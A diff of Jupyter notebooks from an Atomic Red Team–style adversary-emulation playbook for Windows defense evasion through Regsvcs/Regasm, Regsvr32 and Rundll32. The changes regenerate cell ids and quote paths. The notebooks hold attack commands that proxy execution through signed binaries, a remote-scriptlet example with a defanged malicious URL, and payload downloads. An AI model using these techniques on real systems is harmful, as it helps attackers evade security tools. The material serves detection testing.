\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "08e0bed7", + "id": "2d38e048", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.009 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b75b7a7d", + "id": "2246b198", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /out:\"%tmp%\\T1218.009.dll\" /target:library PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U %tmp%\\T1218.009.dll\n```" + "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /out:\"%tmp%\\T1218.009.dll\" /target:library \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\"\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U %tmp%\\T1218.009.dll\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a353fa6f", + "id": "a3dfd8bf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "14d2bf9b", + "id": "d9c50f49", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %tmp%\\T1218.009.dll >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "37e49bc4", + "id": "8d951800", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ab3f10aa", + "id": "12cf61a7", "metadata": {}, - "source": "### Atomic Test #2 - Regsvcs Uninstall Method Call Test\nExecutes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, \"I shouldn't really execute\" will be displayed\nalong with other information about the assembly being installed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The CSharp source file must exist on disk at specified location (#{source_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\"\n\n```" + "source": "### Atomic Test #2 - Regsvcs Uninstall Method Call Test\nExecutes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, \"I shouldn't really execute\" will be displayed\nalong with other information about the assembly being installed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The CSharp source file must exist on disk at specified location (#{source_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fd375549", + "id": "740dc9a3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.009 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "72eb3c3a", + "id": "bfbf3533", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "34623cc2", + "id": "45c2e333", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.009 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ffd82f4e", + "id": "523a5853", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $Env:TEMP\\T1218.009.dll -ErrorAction Ignore | Out-Null\n$parentpath = Split-Path -Path \"$Env:TEMP\\T1218.009.dll\"\nRemove-Item $parentpath\\key.snk -ErrorAction Ignore | Out-Null\nRemove-Item $parentpath\\T1218.009.tlb -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "937bc695", + "id": "5115a97d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.009 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "05235ee4", + "id": "0c28856c", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed." } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.010.ipynb b/playbook/tactics/defense-evasion/T1218.010.ipynb index 62fcf67b..d51dcb1e 100644 --- a/playbook/tactics/defense-evasion/T1218.010.ipynb +++ b/playbook/tactics/defense-evasion/T1218.010.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "837bafb1", + "id": "e710d785", "metadata": {}, "source": "# T1218.010 - Regsvr32\nAdversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)" }, { "cell_type": "markdown", - "id": "9357255c", + "id": "6ed6e3ea", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "42e3fab4", + "id": "62b0b36d", "metadata": {}, - "source": "### Atomic Test #1 - Regsvr32 local COM scriptlet execution\nRegsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Regsvr32.sct must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct\" -OutFile \"PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct\"\n\n```" + "source": "### Atomic Test #1 - Regsvr32 local COM scriptlet execution\nRegsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Regsvr32.sct must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct\" -OutFile \"PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bffbeda0", + "id": "3b6b61ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a6fd4d8b", + "id": "e3eace3e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\system32\\regsvr32.exe /s /u /i:PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct scrobj.dll\n```" + "```command_prompt\nC:\\Windows\\system32\\regsvr32.exe /s /u /i:\"PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct\" scrobj.dll\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3e041777", + "id": "5f589228", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "60c0499a", + "id": "a41dab93", "metadata": {}, "source": [ "### Atomic Test #2 - Regsvr32 remote COM scriptlet execution", @@ -58,28 +58,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0a19c955", + "id": "0fc02b1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "34dedaf7", + "id": "8540243e", "metadata": {}, - "source": "### Atomic Test #3 - Regsvr32 local DLL execution\nRegsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\"\n\n```" + "source": "### Atomic Test #3 - Regsvr32 local DLL execution\nRegsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e848ba72", + "id": "52225b7c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "97d17c61", + "id": "048b56e0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -89,28 +89,28 @@ { "cell_type": "code", "execution_count": null, - "id": "92889a1d", + "id": "d68902f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "72af9b65", + "id": "cb582a20", "metadata": {}, "source": "### Atomic Test #4 - Regsvr32 Registering Non DLL\nReplicating observed Gozi maldoc behavior registering a dll with an altered extension\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Test requires a renamed dll file\n\n##### Check Prereq Commands:\n```cmd\nif exist %temp%\\shell32.jpg ( exit 0 ) else ( exit 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\ncopy \"C:\\Windows\\System32\\shell32.dll\" \"%temp%\\shell32.jpg\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7503ebae", + "id": "bf7a9cf5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "49abfca7", + "id": "99e1d323", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -120,59 +120,59 @@ { "cell_type": "code", "execution_count": null, - "id": "1acb0add", + "id": "f78c164d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "f696caa2", + "id": "44e619a3", "metadata": {}, "source": "#### Cleanup: \n```cmd\nC:\\Windows\\system32\\regsvr32.exe /U /s %temp%\\shell32.jpg\n```" }, { "cell_type": "code", "execution_count": null, - "id": "214d6166", + "id": "531d37fa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "bfe6307d", + "id": "3d0cdb8e", "metadata": {}, - "source": "### Atomic Test #5 - Regsvr32 Silent DLL Install Call DllRegisterServer\nRegsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\"\n```" + "source": "### Atomic Test #5 - Regsvr32 Silent DLL Install Call DllRegisterServer\nRegsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "70c82bac", + "id": "b35e510a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "57f76c3a", + "id": "78c16c1a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\system32\\regsvr32.exe /s /i PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll```" + "```command_prompt\nC:\\Windows\\system32\\regsvr32.exe /s /i \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "764dbf3e", + "id": "76e2017b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.010 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0274568e", + "id": "b4f6cec1", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)" } @@ -180,13 +180,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.011.ipynb b/playbook/tactics/defense-evasion/T1218.011.ipynb index 2174b01d..fdfb7920 100644 --- a/playbook/tactics/defense-evasion/T1218.011.ipynb +++ b/playbook/tactics/defense-evasion/T1218.011.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "daa8dba3", + "id": "043ab16f", "metadata": {}, "source": "# T1218.011 - Rundll32\nAdversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) " }, { "cell_type": "markdown", - "id": "b2a78468", + "id": "debe918a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "da642766", + "id": "d75e157e", "metadata": {}, "source": [ "### Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2c8ceef3", + "id": "cb443ed6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "188a4cc6", + "id": "2ea0a432", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /IM notepad.exe /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4498bd88", + "id": "a0029e7d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "38b2ef26", + "id": "05bff574", "metadata": {}, "source": [ "### Atomic Test #2 - Rundll32 execute VBscript command", @@ -61,14 +61,14 @@ { "cell_type": "code", "execution_count": null, - "id": "036162ef", + "id": "2983567c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "38c62470", + "id": "dcb5c227", "metadata": {}, "source": [ "### Atomic Test #3 - Rundll32 execute VBscript command using Ordinal number", @@ -81,158 +81,158 @@ { "cell_type": "code", "execution_count": null, - "id": "662c504b", + "id": "02082933", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c7344cb5", + "id": "47d1a7a2", "metadata": {}, - "source": "### Atomic Test #4 - Rundll32 advpack.dll Execution\nTest execution of a command using rundll32.exe with advpack.dll.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml\nUpon execution calc.exe will be launched\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\"\n\n```" + "source": "### Atomic Test #4 - Rundll32 advpack.dll Execution\nTest execution of a command using rundll32.exe with advpack.dll.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml\nUpon execution calc.exe will be launched\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (\"#{inf_to_execute}\")\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8318d11a", + "id": "57eb604e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1d6ea267", + "id": "7d0678b8", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe advpack.dll,LaunchINFSection PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf,DefaultInstall_SingleUser,1,\n```" + "```command_prompt\nrundll32.exe advpack.dll,LaunchINFSection \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\",DefaultInstall_SingleUser,1,\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "202d96b4", + "id": "eabf004a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "60c2d8c8", + "id": "54fe2201", "metadata": {}, - "source": "### Atomic Test #5 - Rundll32 ieadvpack.dll Execution\nTest execution of a command using rundll32.exe with ieadvpack.dll.\nUpon execution calc.exe will be launched\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\"\n\n```" + "source": "### Atomic Test #5 - Rundll32 ieadvpack.dll Execution\nTest execution of a command using rundll32.exe with ieadvpack.dll.\nUpon execution calc.exe will be launched\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (\"#{inf_to_execute}\")\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d4a3cdb8", + "id": "4a2f7d98", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "70cb2959", + "id": "e71bf028", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe ieadvpack.dll,LaunchINFSection PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf,DefaultInstall_SingleUser,1,\n```" + "```command_prompt\nrundll32.exe ieadvpack.dll,LaunchINFSection \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf\",DefaultInstall_SingleUser,1,\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8478ab2d", + "id": "6e561c5e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0726711e", + "id": "5c66b61d", "metadata": {}, - "source": "### Atomic Test #6 - Rundll32 syssetup.dll Execution\nTest execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\"\n\n```" + "source": "### Atomic Test #6 - Rundll32 syssetup.dll Execution\nTest execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (\"#{inf_to_execute}\")\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2c486e94", + "id": "ebf2b97c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c13dc31f", + "id": "ed94994e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\n```" + 